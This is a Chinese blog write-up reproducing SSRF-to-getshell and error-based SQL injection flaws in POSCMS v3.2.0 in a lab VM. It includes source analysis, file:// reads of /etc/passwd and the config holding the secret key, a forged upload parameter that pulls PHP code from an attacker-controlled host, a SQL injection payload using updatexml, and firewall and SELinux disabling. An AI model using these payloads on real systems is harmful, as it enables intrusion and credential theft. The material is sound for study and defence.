最近工作之余发现虚拟机里存有之前下载的POSCMSv3.2.0,这个CMS系统去年底被爆出漏洞,当时读了参考文章1的博客后很想复现一下,却因别的事耽搁了。这次抽空复盘一下,详情见下文。P.S.源码请戳附件。
安装环境
本次复盘系统部署在CentOS虚拟机中,版本信息如下:
OS: CentOS7 amd64 (IP:10.10.10.129)
PHP: 5.5.38
MySQL: 5.5.60
WebServer: Apache2.4.6
软件版本:2018.11.27 v3.2.0
对应这个版本支持的PHP不得高于7.1,这里只好对系统默认安装版本降级:
yum list installed | grep php
yum remove php*.x86_64
## 添加新的RPM仓库
rpm -Uvh https://mirror.webtatic.com/yum/el7/epel-release.rpm
rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
yum install php55w.x86_64 php55w-cli.x86_64 php55w-common.x86_64 php55w-gd.x86_64 php55w-ldap.x86_64 php55w-mbstring.x86_64 php55w-mcrypt.x86_64 php55w-mysql.x86_64 php55w-pdo.x86_64
解压POSCMS-3.2.0.zip到Apache虚拟目录,这里我放在了/var/www/html/POSCMS
,软件要求请求URL必须以根目录开始,所以修改了一下/etc/httpd/conf/httpd.conf
:
然后配置Mysql,创建数据库、用户、授予权限等等,不再赘述。访问http://10.10.10.129/install.php
按步骤进行安装,安装成功后访问主页如下图:
在安装过程中有一次提示“cache目录没有写权限”,原因是POSCMS
目录下的所有属主都是root。可以去修改Apache默认授权的用户、组,还是在/etc/httpd/conf/httpd.conf
中找到并修改以下段落:
这里我将www
目录允许的用户、组直接改成了当前操作用户newman,接着修改POSCMS
目录的属主为同一属主:
接着就能正常安装了。有时候位于虚拟机内的CentOS无法访问,那么可以查查以下服务的状态,并清空一下规则。基本上关停以下服务,大概率就能访问了:
## 清空iptables
sudo iptables -F
## 查看Selinux状态
sudo sestatus
## 临时关闭Selinux
sudo setenforce 0
## 停掉firewall服务
sudo service firewalld stop
漏洞1——SSRF及GetShell
打开项目源代码,第一个漏洞的出处在\diy\module\member\controllers\Api.php
中的down_file()
函数,内容如下:
// 文件下载并上传
public function down_file() {
/***********************************************************
* Part0. 获取POST参数url中的内容并解析
************************************************************/
$p = array();
$url = explode('&', $this->input->post('url'));
foreach ($url as $t) {
$item = explode('=', $t);
$p[$item[0]] = $item[1];
}
/***********************************************************
* Part1. 验证用户权限
************************************************************/
!$this->uid && exit(dr_json(0, fc_lang('游客不允许上传附件')));
// 会员组权限
$member_rule = $this->get_cache('member', 'setting', 'permission', $this->member['mark']);
// 是否允许上传附件
!$this->member['adminid'] && !$member_rule['is_upload'] && exit(dr_json(0, fc_lang('您的会员组无权上传附件')));
// 附件总大小判断
if (!$this->member['adminid'] && $member_rule['attachsize']) {
$data = $this->db->select_sum('filesize')->where('uid', $this->uid)->get('attachment')->row_array();
$filesize = (int)$data['filesize'];
$filesize > $member_rule['attachsize'] * 1024 * 1024 && exit(dr_json(0, fc_lang('附件空间不足!您的附件总空间%s,现有附件%s。', $member_rule['attachsize'].'MB', dr_format_file_size($filesize))));
}
/***********************************************************
* Part2. 解密code参数的值获得扩展、路径等信息
************************************************************/
list($size, $ext, $path) = explode('|', dr_authcode($p['code'], 'DECODE'));
/***********************************************************
* Part3. 生成存放路径
************************************************************/
$path = $path ? SYS_UPLOAD_PATH.'/'.$path.'/' : SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/';
!is_dir($path) && dr_mkdirs($path);
$furl = $this->input->post('file');
/***********************************************************
* Part4. 访问并获取文件
************************************************************/
$file = dr_catcher_data($furl);
!$file && exit(dr_json(0, '获取远程文件失败'));
/***********************************************************
* Part5. 根据扩展名过滤并存储数据
************************************************************/
$fileext = strtolower(trim(substr(strrchr($furl, '.'), 1, 10))); //扩展名
$exts = (array)explode(',', $ext);
!in_array($fileext, $exts) && exit(dr_json(0, '远程文件扩展名('.$fileext.')不允许'));
$fileext == 'php' && exit(dr_json(0, '远程文件扩展名('.$fileext.')不允许'));
$filename = substr(md5(time()), 0, 7).rand(100, 999); //文件名
/***********************************************************
* Part6. 向路径写入数据并返回响应结果
************************************************************/
if (@file_put_contents($path.$filename.'.'.$fileext, $file)) {
$info = array(
'file_ext' => '.'.$fileext,
'full_path' => $path.$filename.'.'.$fileext,
'file_size' => filesize($path.$filename.'.'.$fileext)/1024,
'client_name' => '',
);
$this->load->model('attachment_model');
$this->attachment_model->siteid = $p['siteid'] ? $p['siteid'] : SITE_ID;
$result = $this->attachment_model->upload($this->uid, $info);
if (is_array($result)) {
list($id) = $result;
echo json_encode(array('status'=>1, 'id'=>$id, 'name' => dr_strcut($filename, 10).'.'.$fileext));exit;
} else {
@unlink($info['full_path']);
exit(dr_json(0, $result));
}
} else {
exit(dr_json(0, '文件移动失败,目录无权限('.$path.')'));
}
}
源码分析
这段代码的主要逻辑是根据请求中参数去请求文件内容,并将它保存在特定目录中,最后以json格式返回保存结果。
Part1没什么好说的,只要管理员不修改默认权限,注册个普通用户就有视频、图片的上传功能。Part2中dr_authcode()
是一个加解密函数,位于\diy\dayrui\helpers\function_helper.php
。其具体实现可以不用关心,毕竟源码已经到手,只要找到密钥,就能随意构造加密结果。
Part3中确定了下载文件的名称,这里我们请求的参数中不包含code
参数,使$PATH为空
,则它会取问号表达式的后半段SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/'
,最后的上传路径如下:/uploadfile/年月/
。
Part4中的dr_catcher_data()
函数正是SSRF漏洞的来源,其实现位于\diy\dayrui\helpers\function_helper.php
。无论代码最后选的是fopen模式还是curl模式,开发人员都没有对可解析的协议做限制,也没有校验请求参数$url
的范围。
寻找触发点
直接用VSCode的全局搜索功能,寻找down_file()
函数的调用位置:
发现它出现在了一个js文件中,于是构造一个XHR的POST请求到服务端,设置file
参数的值使其访问/etc/passwd
,得到如下响应:
用浏览器打开“文件存储路径+返回的文件名”:
GetShell
再请求一下/config/system.php
,该文件中存储有重要的元数据。
这是因为Part5中的$ext
变量虽然为空,但它专门过滤了.php文件,好在利用file://
协议的解析特性,可以绕过这一点,比如.php?.
或.php#.
:
再次用浏览器打开并设置编码格式为UTF-8:
获取到安全密钥后,可以构造特殊payload绕过扩展名检查。这里,总结一下此次GetShell的思路:
- 构造特殊payload使.html文件允许被上传
- 在自己控制的服务器上放置.html文件(里面有恶意代码的php代码)
- 利用SSRF漏洞,使服务器用http协议访问带外数据(OOB),获取到恶意的.html,形成Getshell
为了绕过扩展名检查,我将加密代码拷贝进另一文件并填入密钥,输入选择1|html,|0
,运行得到输出为22d7Qrdws88/R/uETpWlvY/PFNTYzvs/QNj5PBa66veNDlECqpM
,并构造POST参数file=http://10.10.10.1/haha.html&url=code=22d7Qrdws88/R/uETpWlvY/PFNTYzvs/QNj5PBa66veNDlECqpM
,这里的haha.html
里包含了php代码<?php echo phpinfo();?>
,最终效果如下:
如果这里复现失败了,那大概是在于两点:一、加密函数有时效性,过时需要重新生成;二、CentOS默认安装的Apache无法解析包含php代码的html文件,需要在/etc/httpd/conf.d/php.conf
中添加如下:
漏洞2——前台SQL注射
最后一个SQL注射漏洞,为了找到漏洞出现的位置,我可耻地下载了别人博客里的截图并放大,看到了以下信息:
查看源码(\diy\dayrui\models\Attachment_model.php
)可以发现注入点:
该函数的调用点位于(\diy\module\member\controllers\Account.php
):
对应的功能实际是前台用户中心—>基本管理—>附件管理的搜索功能,随便选择某个类别搜索后会看到这条请求:
GET /index.php?s=member&c=account&m=attachment&module=photo&ext= HTTP/1.1
Host: 10.10.10.129
向module
参数注入Payload果然出现了报错:
但不知道为什么博客里的Payload这里复现失败了,不过已经知道是报错注入,我用了经典的Payload——" or updatexml(1,concat(1,0x7e,user()),1);#
拼接入参数中,得到了数据库当前用户:
GET /index.php?s=member&c=account&m=attachment&module=photo%22%20or%20updatexml(1,concat(1,0x7e,user()),1);%23&ext= HTTP/1.1
Host: 10.10.10.129
第一次复现php代码漏洞,如有错误或忽略的地方,望各位师傅斧正。以后有时间了好好学一遍php语言,毕竟是世界上最好的语言(手动滑稽)。
参考文章
本文作者为Mr.Wu,转载请注明,尊守博主劳动成果!
由于经常折腾代码,可能会导致个别文章内容显示错位或者别的 BUG 影响阅读; 如发现请在该文章下留言告知于我,thank you !